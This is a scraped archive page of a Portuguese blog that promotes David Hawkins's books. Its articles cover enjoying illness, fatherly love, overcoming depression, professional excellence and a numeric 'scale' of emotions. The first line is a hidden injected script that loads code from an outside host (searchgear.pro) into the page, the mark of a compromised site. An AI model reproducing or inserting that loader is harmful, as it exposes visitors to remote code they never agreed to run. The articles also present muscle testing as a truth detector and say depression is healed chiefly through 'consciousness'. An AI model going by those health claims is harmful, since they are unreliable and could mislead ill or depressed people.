;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Dr. David R. Hawkins - David Hawkins Brasil
Categorias
David Hawkins

O “gostinho” em ficar doente

Parece impossível que alguém goste de ficar doente. E realmente, de forma consciente e madura, ninguém gosta. Mas, sabe quando uma criança se machuca e quer mostrar o machucado para todo mundo e receber atenção? Pois bem, essa criança ainda vive em nós e todos nós inconscientemente gostamos da atenção que recebemos por estarmos doentes.

Por estar doente, não precisamos cumprir certas obrigações, podemos ter mais momentos de preguiça, podemos ter um tempo para nós mesmos sem culpa e podemos receber carinho e cuidado de uma forma que não receberíamos se estivéssemos saudáveis. 

O problema surge quando esses pequenos prazeres em estar doente se tornam mais importantes para pessoa do que se curar e estar saudável para ter energia para realizar tudo o que escolheu para sua vida.

Reconhecer que estamos presos em gostar de ficar doente ao invés de verdadeiramente querermos nos curar é doloroso e difícil porque envolve olhar para a nossa sombra. No entanto, há técnicas como a cinesiologia, que nos ajudam a como discernir a verdade e nos libertar da falsidade, conforme explicado em um artigo anterior a esse.

“O teste muscular é responsável tanto pelos sistemas de crenças inconscientes quanto pelos conscientes. Os testes muitas vezes revelam que uma pessoa sente ou acredita inconscientemente o oposto do que pensa que acredita conscientemente. A pessoa, por exemplo, pode acreditar conscientemente que deseja curar-se, mas inconscientemente estar apegada às recompensas da doença. Um simples teste muscular revela a verdade sobre o assunto.” – Dr. David Hawkins, Deixar Ir

O gostinho em sofrer ao ficar doente

No artigo sobre dor aguda, citamos um trecho muito importante de crenças que as pessoas têm sobre as doenças e uma delas é de que ao sofrer nos aproximaremos de Deus, por estar “pagando os pecados”. Na verdade, a visão de Deus como justiceiro é uma visão do nível de consciência do medo que nos distancia de Deus. Deus é Amor e Bondade e não quer que a gente sofra. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espirituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – auto-piedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo por estar doente coloca a pessoa em um campo de consciência de falsidade. Ela acredita na ilusão de que é vítima da doença, assim assumindo a posição “confortável” de não precisar ser responsável pelo seu processo de cura. Quando, na verdade, não tem nada de “confortável” em permanecer em um estado de doença. 

Estudo de caso: o doente diante da depressão e da culpa

“Um dos maiores obstáculos a superar para sair da depressão e da apatia é o da culpa. A culpa é todo um assunto por si só. Observar isso é gratificante. Para começar, há muitas recompensas em culpar. Podemos ser inocentes; podemos desfrutar da autopiedade; podemos ser o mártir e a vítima; e podemos ser aquele que recebe a simpatia dos outros. Talvez a maior recompensa pela culpa seja que somos a vítima inocente e a outra parte é a má. 

Vemos esse jogo sendo constantemente exibido na mídia, como os intermináveis jogos de culpa dramatizados em uma infinidade de controvérsias, difamação, assassinatos de caráter e ações judiciais. Além da recompensa emocional, a culpa traz benefícios financeiros consideráveis; portanto, é um pacote tentador ser vítima inocente, pois muitas vezes isso é recompensado financeiramente. 

Houve um exemplo famoso disso na cidade de Nova York há muitos anos. Ocorreu um acidente de transporte público. As pessoas saíram pela porta da frente do veículo e depois se reuniram em uma pequena multidão, fornecendo seus nomes e endereços para benefícios financeiros futuros. Os espectadores rapidamente perceberam o jogo e subiram secretamente na traseira do veículo, para que pudessem sair da frente como feridos, “vítimas inocentes”. Eles nem haviam sofrido o acidente, mas iriam receber uma recompensa! 

Culpar os outros é a maior desculpa que existe no mundo. Permite-nos permanecer limitados e pequenos sem nos sentirmos culpados. Mas há um custo: a perda da nossa liberdade. Além disso, o papel de vítima traz consigo uma autopercepção de fraqueza, vulnerabilidade e desamparo, que são os principais componentes da apatia e da depressão.” – Dr. David Hawkins, Deixar Ir

O caminho da cura

O caminho da cura envolve sair do papel de vítima. Além de compreender que “todo não consigo é não quero” e renunciar aos pequenos prazeres que nos fazem não querer verdadeiramente a cura. É preciso coragem de olhar para as nossas sombras e deixar ir essas emoções que nos atordoam. 

Assim como trouxemos o exemplo da depressão para ilustrar o papel da culpa e do vitimismo em uma doença, vamos seguir com a mesma doença para ensinar sobre a cura.

“Uma coisa é analisar a base causal da depressão e outra é entrar totalmente nas profundezas da desesperança, abandonando a resistência ao sentimento. Ao permitir a plena sensação disso e ao abandonar cada sensação, cada pensamento e cada pequena recompensa que você está obtendo com isso, você está livre. Não é necessário investigar o “porquê” da depressão para se libertar do “o quê” ela manifesta.” – Dr. David Hawkins, Deixar Ir

A cura não vem de analisar e entender o problema, como se acredita racionalmente. Tampouco vem em não sentir mais sintomas dessa doença. A verdadeira cura é quando não importa mais se os sintomas vão desparecer ou não porque já não mais nos sentimos vítimas deles. 

“Como se pode saber se a humildade e a entrega estão completas? Estão completas quando se está indiferente para se a cura vai acontecer ou não. Esse é o resultado da entrega para Deus a grandes profundidades e a renúncia do desejo de controlar ou mudar como as coisas são.”  – Dr. David Hawkins, “Cura e Recuperação”

Assuma a responsabilidade de que só você pode escolher com seu livre arbítrio entregar seu sofrimento em estar doente para Deus e se libertar disso. Vamos juntos!

Gloria in Excelsis Deo!

Não perca nada!

Fizemos uma série que já conta com 3 artigos anteriores sobre o “gostinho” do ego em sofrer:

Aproveite essa sequência de artigos para se aprofundar nesse tema que quando observado, muda vidas.

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Categorias
David Hawkins

Amor Paternal: frases e passagens dos livros do Dr. Hawkins

Nesse artigo compilamos o que o dr. David Hawkins escreveu sobre paternidade nos seus livros, dentro de uma série progressiva de livros baseada nas revelações da pesquisa da consciência. É uma honra compartilhar esse conteúdo que traz tão belos exemplos patriarcais e uma certa clareza do papel de pai.

“O amor se expressa de muitas maneiras. O menino memoriza uma cantiga que o pai lhe ensinou e ainda consegue repeti-la oitenta anos depois.” – Dr. David Hawkins, “Deixar Ir”

Consequências da não compreensão da figura patriarcal

Hoje muito se ataca o patriarcado na sociedade. Quando na verdade essa resistência a autoridade é um reflexo de um mal relacionamento com o próprio pai. Nosso relacionamento com a figura paterna é o que determina como vamos lidar com autoridades.

“Na experiência psicanalítica, rapidamente se torna subjetivamente aparente que as atitudes de alguém em relação à autoridade decorrem de fantasias e experiências infantis nas quais a figura paterna é percebida como ameaçadora (odiada e temida) ou protetora e justa (confiável). Consequentemente, toda autoridade se torna impregnada pelas atitudes projetadas, assim ou se adere e sustenta a estrutura ou se torna um descontente e revolucionário, dependendo do sucesso ou fracasso da resolução do conflito/complexo inconsciente.” – Dr. David Hawkins, “Truth vs. Falsehood”

Quando temos um mal relacionamento com o nosso pai, desenvolve-se uma visão de mundo distorcida. As autoridades não são aceitas e há uma subversão de valores. Isso reflete em posições de ateísmo e comunismo. Aqui, acredita-se que é melhor confiar em si mesmo ou até em um ditador egóico do que na autoridade suprema, que é Deus. 

Presos na infantilidade de detestar a autoridade do pai, acreditam que Deus é uma suposição infantil. Assim, não enxergam a Verdade, que é o Divino em si. Como Ludwig von Mises observou, um homem sábio não quer ter o poder de um ditador. Ao invés disso, se recebesse tal poder escolheria entregá-lo a Deus.

“A matriz psicológica do ateísmo foi bem descrita por Feuerbach e outros como a rejeição da figura paterna, como foi o caso de Karl Marx. A raiva da figura paterna por ser menos que perfeita também é um fator com expressões políticas como apontado por Coulter (2003). A desilusão resulta em ressentimento narcisista em relação a todas as figuras de autoridade.” – Dr. David Hawkins, “Truth vs. Falsehood”

O verdadeiro herói é simplesmente um pai amoroso

Por outro lado, quando compreendemos a verdadeira amorosidade da autoridade de um patriarca em nossas vidas, compreendemos parte da essência do Amor de Deus e podemos enxergar a beleza do patriarcado. Vemos com clareza quem são os verdadeiros heróis do dia a dia.

“Hoje em dia não me lembro de um único presente que alguém da família me deu quando criança. Me lembro de abrir presentes todo Natal e aniversário, mas estranhamente não me lembro de nenhuma “coisa” que me deram. Lembro-me de que adorava meus avós por quem eles eram para mim, não pelo que faziam por mim. Em outras palavras, não era meu avô me levando para pescar que era importante – era seu amor em me levar para pescar e provavelmente me levar para me exibir para seus amigos. O que eu lembro é que se orgulhava de mim.

Agora é amplamente citado e dito com tristeza que o problema com nosso mundo atual é que faltam heróis. No entanto, os heróis não estão faltando. Em vez disso, o que falta é a capacidade de ver os heróis que estão por toda parte. A incapacidade de vê-los é porque as pessoas confundiram o herói com o heroísmo ou aquilo que é impressionante. Há heróis em todos os lugares. Há grandeza para ser vista. Só precisamos saber onde encontrá-la.” – Dr. David Hawkins,  em “O Sucesso É Para Você”

Amor Paternal: O Amor Incondicional que alguns pais atingem

O amor paterno pode atingir um estado de Amor Incondicional onde o amor não depende do que o filho tenha, faça ou até mesmo do que ele se torne. Entretanto, mesmo que seu pai não tenha chegado nesse estado, esse estado ainda está disponível para você e para todos nós pela graça Divina.

“O amor incondicional é também o poder da mãe e do pai, cuja presença é tão essencial para que os filhos aprendam a amar à medida que crescem. (…)

E aqueles de nós que não tiveram a feliz experiência de serem banhados em amor incondicional enquanto cresciam? Existe a crença comum de que, se não tivéssemos essa experiência, ficaríamos de alguma forma marcados ou aleijados para o resto da vida; na verdade, não é assim. Uma pessoa que experimentou muito amor no início da vida tem menos medos e uma vantagem inicial, mas esse amor é intrínseco a todos nós. Pela própria natureza do nosso ser e pela própria natureza da energia vital que flui através de nós e nos capacita a respirar e pensar, todos nós temos o mesmo nível de energia vibracional do amor dentro de nós.” – Dr. David Hawkins, “Deixar Ir”

Passagens do dr. Hawkins com o seu pai

Ainda adolescente, o dr. Hawkins vivenciou um estado muito elevado de consciência. Ele relata que não sairia desse estado se não fosse por amor ao seu pai que sofreria muito com a morte do seu corpo físico. 

“Em 1939, como entregador de jornal com uma rota de bicicleta de vinte e sete quilômetros na zona rural de Wisconsin, em uma noite escura de inverno, fui pego a quilômetros de casa por uma nevasca de menos trinta graus celsius. A bicicleta caiu no gelo e o vento forte arrancou os jornais da cesta do guidão, espalhando-os pelo campo nevado coberto de gelo. Havia lágrimas de frustração e exaustão e minhas roupas estavam congeladas e duras. Para me proteger do vento, quebrei uma crosta de gelo de um alto banco de neve, cavei um espaço e rastejei para dentro dele.

Logo os tremores pararam e houve um calor delicioso, seguido de um estado de paz indescritível. Isso foi acompanhado por uma difusão de luz e uma presença de amor infinito que não teve começo nem fim e não se diferenciou da minha própria essência. O corpo físico e os arredores desapareceram quando minha consciência se fundiu com esse estado iluminado e onipresente. A mente ficou silenciosa; todos os pensamentos pararam. Uma Presença infinita era tudo o que era ou poderia ser, além de todo tempo ou descrição.

Depois dessa atemporalidade, de repente houve a consciência de alguém sacudindo meu joelho; então o rosto ansioso do meu pai apareceu. Houve grande relutância em retornar ao corpo e tudo o que isso implicava, mas por causa do amor e da angústia do meu pai, o Espírito alimentou e reativou o corpo. Havia compaixão por seu medo da morte, embora, ao mesmo tempo, o conceito de morte parecesse absurdo.” – Dr. David Hawkins, “Deixar Ir”

Admiração do dr. Hawkins pelos patriarcas da família 

Já no livro “Cura e Recuperação”, o dr. David Hawkins relata sobre como aprendeu a graça de envelhecer com seus dois avôs.

“É interessante observar que eu tinha uma visão relativamente negativa da meia-idade, mas ao mesmo tempo tinha uma visão relativamente positiva da velhice; assim, esperava por essa época. Com 76 anos, meu avô estava no telhado trocando telhas e meu outro avô era elegante e honrado, então esperava essa idade avançada. Esse é o momento em que podemos colocar nossos sapatos finos e o melhor chapéu, nos vestir com as melhores roupas e viver uma vida verdadeiramente aristocrática e prazerosa.

Pela primeira vez, podemos apenas ser quem realmente somos. Isso vai terminar em algum momento e, por isso, não precisamos mais ficar agradando ninguém. Nós podemos ser verdadeiramente uma pessoa elegante, muito amorosa e agradável, então, para mim, ser idoso não estava associado com decrepitude e fraqueza. Tem sido assim para algumas pessoas, então, podemos ver que existe outra opção. Isso é sobre quem nós amamos e com quem nos identificamos.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

No Dia das Mães, também levantamos o que o dr. Hawkins nos ensinou sobre o tema. E é claro que o Dia dos Pais não poderia ser diferente.

Por fim, desejamos a todos um feliz dia dos pais!

Gloria in Excelsis Deo!

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Categorias
Níveis de Consciência

Como Sair da Depressão? – Parte 2

Na primeira parte deste artigo sobre como sair da depressão, desmistificamos algumas crenças sobre a depressão e vimos que a abordagem correta para tratamento e cura deve considerar as esferas física, mental e espiritual.

Porém, há uma hierarquia entre essas esferas. A cura para a depressão começa na consciência, já que uma mudança no campo de consciência produz mudanças na mente e no corpo, segundo Dr. David Hawkins.

Então, como identificar as reais causas da depressão a partir da consciência e facilitar o processo de tratamento ou cura? É o que veremos a partir de agora.

Quais são as reais causas da depressão?

Para compreendermos a depressão em profundidade, utilizaremos o conceito do Mapa da Consciência (também conhecido como Escala dos Níveis de Consciência, Escala Hawkins ou Escala as Emoções) que já foi explorado aqui em outros artigos.

Na base do Mapa da Consciência estão os níveis de consciência chamados de Culpa, Apatia e Tristeza. Esses campos se expressam na prática como sentimentos de ódio de si mesmo, desesperança e desânimo. Perceba que, nesses campos energéticos, a depressão é o estado natural.

São níveis com pouquíssima energia. Quando os vivenciamos, passamos a ter uma visão de mundo triste e sem esperança. Tudo é sofrimento e dor. A visão de Deus é de um Deus que nos ignora, que não se preocupa conosco e ao qual não estamos conectados. A sensação é de que não temos valor, somos culpados ou pecadores.

Sempre que falamos de um determinado nível de consciência (ex.: Culpa, Apatia, Tristeza), estamos falando de um conjunto enorme de características que incluem, por exemplo: emoções específicas, pensamentos típicos, crenças, comportamentos, uma determinada visão de mundo e de Deus.

É possível perceber, portanto, que a depressão é multifatorial. Porém, o nível de consciência que acessamos é determinante para a nossa experiência. Se estivermos “presos” na base do Mapa da Consciência, é como se “automaticamente” tivéssemos comportamentos depressivos, pensamentos depressivos, emoções depressivas, visão de mundo depressiva, assim por diante.

Logo, apesar de não existir uma “causa” específica, pode-ser que o fator de maior influência para a depressão é o campo de consciência com o qual nos conectamos.

Sendo assim, para sair da depressão precisamos nos conectar com novos campos de consciência mais expandidos.

O que isso significa na prática?

Na prática, para sair da depressão devemos reconhecer os níveis de consciência negativos em nossa vida e buscar os positivos.

Para isso, é fundamental compreendermos qual é o erro que nos leva a mergulhar nos campos de culpa, vergonha, medo, tristeza, raiva, apatia etc. E esse erro é sempre o mesmo: colocar nossa sobrevivência fora de nós mesmos.

“Todos os campos de energia negativos são baseados em colocar a fonte da nossa felicidade em algo externo.” – Dr. David R. Hawkins

A partir do momento que acreditamos que a fonte da felicidade está fora de nós, nos tornamos vulneráveis. E isso abre espaço para a depressão.

Observe os pensamentos e falas do tipo: “Quando eu tiver o diploma, terei sucesso e serei feliz”, “Quando eu perder tantos quilos, serei magro(a) e feliz”, “Quando eu tiver tantos mil reais na conta, ficarei tranquilo(a) e serei feliz”, ou ainda “Quando eu casar e tiver filhos, serei realizado(a) e feliz”

Afirmações como essas colocam a fonte da felicidade fora de nós, e isso é um grande equívoco. Jamais, em momento algum, a felicidade pode estar “lá fora”. Quando reconhecemos que a felicidade está dentro de nós, aí sim nos tornamos imunes a episódios de depressão.

Conclusão: como sair da depressão?

Dr. David Hawkins é claro: o caminho para sairmos da depressão é pararmos de depositar nossa felicidade em fatores e acontecimentos externos, e passarmos a reconhecer a fonte a felicidade dentro de nós mesmos.

Isso nos permite desenergizar os campos de consciência negativos, como apatia, culpa e tristeza, que são característicos dos estados depressivos. Ao mesmo tempo, passamos a nos conectar com os campos positivos, como a Coragem, Disposição, Aceitação e o Amor.

Ao observarmos que a felicidade só depende de nós mesmos e que é possível sermos felizes, acessamos a Coragem. A partir daí, nos colocamos em um movimento de Disposição para mudarmos nosso jeito de agir. Com Aceitação, acolhemos nossas limitações, respeitamos as limitações das outras pessoas e aceitamos o nosso contexto de vida atual, sabendo que a felicidade está disponível dentro de nós. Com Amor, passamos a dar o nosso melhor a cada instante, aceitando a vida como ela é sem criar expectativas, porém sem nunca sermos negligentes com nossa própria felicidade.

Tudo começa com o reconhecimento desta simples verdade: a felicidade vem de dentro. Esse é o ponto de partir para sair da depressão e vivenciar o amor e a paz diariamente.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

Categorias
Níveis de Consciência

Como Sair da Depressão? – Parte 1

Dr. David R. Hawkins foi psiquiatra e liderou uma das maiores clínicas de saúde mental do mundo, tendo mais tarde somado toda sua experiência clínica ao ensino da Escala de Consciência. Além disso, o próprio Hawkins lidou com a depressão em sua vida pessoal.

Por esses e outros motivos, o trabalho de David Hawkins possui uma base sólida para nos ajudar a sair da depressão clínica ou mesmo de estados depressivos temporários. Inclusive, a Escala dos Níveis de Consciência também contribui para isso, nos oferecendo uma visão única e reveladora do que está por trás da depressão.

Desmistificando a depressão

Um dos primeiros pontos que devemos compreender é que, como diz Dr. Hawkins, praticamente todas as pessoas são afetadas pela depressão. É muito raro alguém viver durante décadas neste planeta sem ser afetado por ela.

Então, antes de mais nada, não devemos nos achar piores por nos sentirmos depressivos ou desanimados. O fato é que a depressão e o desânimo sempre existiram, e nos últimos tempos se tornaram uma espécie de pequena epidemia, afetando mais e mais pessoas.

Qual é a abordagem correta para a depressão?

Há quem diga que a depressão é uma doença psíquica (da mente). Outros afirmam que ela está instalada no espírito. E há ainda inúmeros profissionais de saúde que consideram a depressão como um problema fisiológico, da bioquímica. Afinal, quem está certo?

Para lidar com a depressão, é importante a observarmos tanto do ponto de vista da consciência como também do ponto de vista da bioquímica. “A bioquímica é a causa ou o efeito da depressão?” – Dr. Hawkins nos desafia a questionar.

David Hawkins sugere abordar o tema considerando a relação entre corpo, mente e espírito. Ele fala do tratamento e compreensão da depressão nos três níveis.

Um princípio fundamental: corpo, mente e espírito

Conforme mencionado, o papel da bioquímica do corpo na depressão é importante. No entanto, é necessário lembrar que o corpo não consegue experienciar a si mesmo. Ele não é capaz de experimentar suas próprias sensações.

O corpo é experienciado na mente. É a mente quem “percebe” o corpo.

Contudo, a mente também não possui a capacidade de experienciar a si mesma. Tudo o que percebemos como experiências mentais (memórias, pensamentos, sentimentos, fantasias sobre o futuro, devaneios) é registrado e experienciado por algo maior que a mente: a consciência.

Então, a mente nos permite saber o que está acontecendo no corpo. E a consciência maior nos permite saber o que está ocorrendo na mente. Em último nível, portanto, tudo ocorre na consciência.

Corpo < Mente < Consciência

Aqui entra um princípio fundamental ensinado por Dr. David Hawkins: devemos tratar os assuntos nos níveis mais altos, onde há maior quantidade de poder.

Neste caso, a mente está “acima” do corpo e possui mais poder do que ele. Já a consciência está “acima” do corpo e da mente, influenciando os dois primeiros. Desse modo, uma mudança no campo de consciência produz mudanças na mente e no corpo.

A esse ponto, a pergunta que nos fazemos é a seguinte: como produzir mudanças no campo de consciência e, assim, curar a depressão?

É isso que veremos no próximo artigo desta série, no qual abordaremos as reais causas da depressão a sua ligação com os campos de consciência, onde também está o caminho para a cura.

Clique aqui para ler a continuação deste artigo: “Como sair da depressão? – Parte 2”.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

Categorias
David Hawkins

3 Características da Excelência Profissional

No artigo de hoje continuaremos aprofundando o livro O Sucesso É Para Você, de Dr. David Hawkins. No artigo anterior discutimos 3 elementos fundamentais para um negócio de sucesso. Hoje, falaremos sobre como alcançar a excelência profissional.

Nessa obra, Hawkins utiliza sua experiência prévia como empresário, médico e psiquiatra dono da maior clínica de saúde mental dos EUA, em Nova Iorque.

Característica da excelência profissional: Compromisso

Dr. Hawkins coloca a “excelência” como algo que não pode ser imitado.

Sermos excelentes, na vida pessoal ou profissional, é uma consequência natural do compromisso que firmamos com a excelência. Essa afirmação pode parecer óbvia, porém é fundamental. A excelência só se torna possível a partir do momento em que nos comprometemos a entregar somente excelência — nada menos do que isso.

Primeiro vem o compromisso, depois o resultado.

Característica da excelência profissional: Criatividade

Quando observamos alguém que é excelente no que faz, logo pensamos que aquela pessoa tem uma genialidade ou criatividade inatas. A partir daí surgem muitos mitos, como “Eu não sou criativo” ou “Eu não sou tão genial assim”.

Dr. Hawkins explica que a criatividade ou genialidade são naturais do lado direito do cérebro. Se você tem um cérebro, você tem criatividade — mesmo que não se considere alguém criativo.

Segundo ele, uma pessoa verdadeiramente criativa é aquela que tem atitudes de cuidado, compartilhamento, amor, participação e imaginação de como a experiência de outra pessoa pode ser.

Se na sua profissão você for empático e se colocar no lugar do cliente, do usuário do serviço ou produto, você naturalmente terá ideias de como melhorar a experiência. Tudo começa na intenção genuína de servir o outro e criar a melhor experiência possível!

Característica da excelência profissional: Humanidade

Ao longo da obra O Sucesso É Para Você, Dr. David Hawkins enfatiza que só existe um consumidor: a natureza humana.

Ele destaca que todas as pessoas verdadeiramente de sucesso focam em atender as necessidades humanas, isto é, as necessidades dos compradores de seus serviços ou produtos.

O que importa não é o segmento em que você atua. É claro que cada segmento possui suas peculiaridades, mas o consumidor será sempre o mesmo, que é a própria natureza humana.

A razão pela qual compramos qualquer coisa é porque esse produto ou serviço atrai algo em nossa natureza humana. Hawkins nos diz que a excelência na profissão e nos negócios vem do reconhecimento da verdade daquilo que é universal.

O que importa são as necessidades humanas, como a necessidade de reconhecimento, importância, celebração, cuidado, pertencimento, entre outras.

Dr. David Hawkins explica que o sucesso que ocorre naturalmente quando despertamos o melhor de nós. Não é algo a ser “alcançado” ou “buscado lá fora”, mas sim algo a ser desperto.

Conclusão

A excelência profissional é, portanto, uma consequência de características intrínsecas nossas. Basta nos conectarmos com o nosso lado humano e assim, consequentemente, atenderemos as necessidades de nossos clientes e consumidores. Para Hawkins, essa é a “receita” do sucesso.

Acesse a página do livro O Sucesso É Para Você para conferir o conteúdo completo e aprofundar ainda mais a sua excelência profissional.

Categorias
Níveis de Consciência

Guia de Inteligência Emocional: Como Identificar Suas Emoções

Um dos pontos importantes para a inteligência emocional é observar suas emoções ou sentimentos e ficar consciente deles. Esse é o ponto central da técnica descrita no best-seller Deixar Ir, de Dr. David Hawkins.

Embora — segundo o próprio David Hawkins — não seja necessário nomear as emoções, pode ser útil compreender o nível energético e as características de cada uma delas. Assim fica fácil identificar, por exemplo, se você está em um estado emocional propício para agir e tomar decisões ou se é melhor aguardar um outro momento.

Neste conteúdo você terá acesso a um guia para identificar suas emoções e assim desenvolver sua inteligência emocional. Confira.

Guia de Inteligência Emocional: Emoções Negativas

Ao lado do nome de cada emoção, você verá o nível vibracional do campo energético dessa emoção conforme a Escala Hawkins de Consciência, que vai de 1 (nível mais baixo) até 1.000 (nível mais alto).

Isso ajudará você a identificar o quão negativa ou positiva é a emoção que você está experienciando. Com isso, você terá ainda mais consciência para reconhecer as emoções negativas rapidamente e escolher as positivas, ampliando sua inteligência emocional.

Vergonha (20)

Sabe aquele sentimento de humilhação, quando nos sentimos pior do que tudo e todos? Esse é o nível de consciência da vergonha, que tem uma vibração extremamente baixa.

Aqui não estamos falando apenas de se sentir encabulado. Vai muito além. É como se a pessoa sentisse vergonha de ser quem ela é.

Quando realmente mergulhamos na emoção da vergonha, passamos a achar que o mundo é miserável. Nessas horas, qualquer outra emoção que pudermos nos conectar já será válida. Mesmo outras energias negativas serão “menos negativas” e poderão auxiliar a sair desse estado emocional.

Culpa (30)

O campo emocional da culpa leva o indivíduo a desejar dois movimentos:

  • punir os outros, por achar que eles são culpados;
  • e ser punido, justamente para aliviar a culpa que sente. 

Por conta disso, é um campo extremamente perigoso. Leva a autorrejeição, masoquismo, remorso, mal-estar e autossabotagem. Propensão a acidentes, comportamento suicida e projeção de auto-ódio sobre os “maus” são comuns. 

A emoção da culpa, quando reprimida, torna-se a base de muitas doenças psicossomáticas. O problema é que esse sentimento está tão inserido no nosso dia a dia que acaba passando despercebido.

Para identificar esse estado, uma dica é observar o próprio uso da palavra “culpa”, como: “É tudo culpa minha” ou “Bem-feito, é culpa dele”.

Apatia (50)

A emoção da apatia vai além da preguiça e é caracterizada pelo desespero, ou seja, a falta de esperança em relação à vida ou algum tema específico. Por exemplo, quando você se depara com um assunto incômodo e pensa “isso não tem jeito”, “não tem nada que possa ser feito” ou “eu não consigo”.

Em muitos casos, as áreas ou assuntos da nossa vida que estão estagnados há muito tempo são áreas nas quais estamos tomados pela emoção ou energia da apatia.

Tristeza (75)

Talvez essa seja uma das emoções mais fáceis de identificar, não é? Porém, ainda assim a tristeza pode surgir discretamente e passar despercebida.

É interessante notar que a emoção da tristeza está relacionada à ausência de aceitação. Quando vivenciamos esse sentimento, é comum falarmos coisas como “se pelo menos eu tivesse…”, ou então “se eu NÃO tivesse feito aquilo”. É uma sensação de estar preso e não conseguir seguir em frente.

Em muitos casos, a tristeza também pode estar associada a algum tipo de luto. A pessoa se prende ao passado, às memórias, e praticamente deseja “voltar no tempo”. “Ah, se tudo fosse como era antes”. Nesse caso não estamos falando de memórias de gratidão, que lembram de tudo com leveza e amor, mas sim de uma emoção pesada e depressiva.

Medo (100)

Medo de dar errado. Medo de perder. Medo de não conseguir. Medo de ser atacado. Medo de ser assaltado. Medo de perder o emprego. Medo de falir. Medo do futuro. Medo de perder pessoas queridas.

A emoção do medo toma as mais variadas formas em nossa vida, desde uma leve ansiedade até o pânico mais profundo, quando a pessoa jura que vai morrer. É uma energia preocupada (se ocupa com o futuro e esquece o presente); defensiva (vê a vida como uma disputa); e evasiva (quando não está lutando, está fugindo de conflitos).

No corpo, o medo frequentemente dispara reações de tensão (musculatura rígida, por exemplo), ou ainda extremos de frio ou calor.

Dr. David Hawkins explica que, em última instância, todo medo é o medo da morte — isso é explicado em mais detalhes no livro Deixar Ir.

Desejo (125)

Desejo é o equivalente à emoção da ganância. É um impulso de buscar sempre mais, sempre um novo ganho, aquisição, prazer ou qualquer outra coisa que está “do lado de fora”.

Quando essa emoção toma conta de nós, nos tornamos insaciáveis. Precisamos de mais. Mais um pedaço do nosso doce preferido; mais uma dose de bebida; mais uma compra; mais uma experiência; assim por diante.

No corpo físico, a emoção do desejo costuma vir acompanhada de sensações ligadas ao paladar, como fome ou sede. Já na fala, é comum externalizar frases como: “Eu PRECISO disso”, “Só mais um pouco e então eu paro”, “Me dê o que eu quero, e me dê agora!”

Raiva (150)

Conhecida de todos, a emoção da raiva vem acompanhada de uma visão de mundo antagonista: algo ou alguém parece estar contra você. Um ótimo jeito de verificar se você está nessa emoção é quando você começa a acreditar, mesmo temporariamente, que tem “inimigos” ou rivais.

A raiva é irritável, explosiva, amarga, volátil e rancorosa. Gosta de “ficar quite” e fala coisas como “vou te mostrar” ou “eles vão ver só”.

Orgulho (175)

“Meu jeito é o melhor jeito”, diz essa emoção. Seu foco é conquista, desejo por reconhecimento, ser especial e perfeito. Quando somos tomados pelo orgulho, nos sentimos “melhor que” e superior aos outros.

O orgulho traz comparação e competição.

Embora geralmente seja identificado como “ego inflado”, na polaridade oposta pode ter o efeito inverso. Nesse caso, a pessoa se acha pior que os outros e se enxerga como perdedora na competição da vida.

Guia de Inteligência Emocional: Emoções Positivas

Coragem (200)

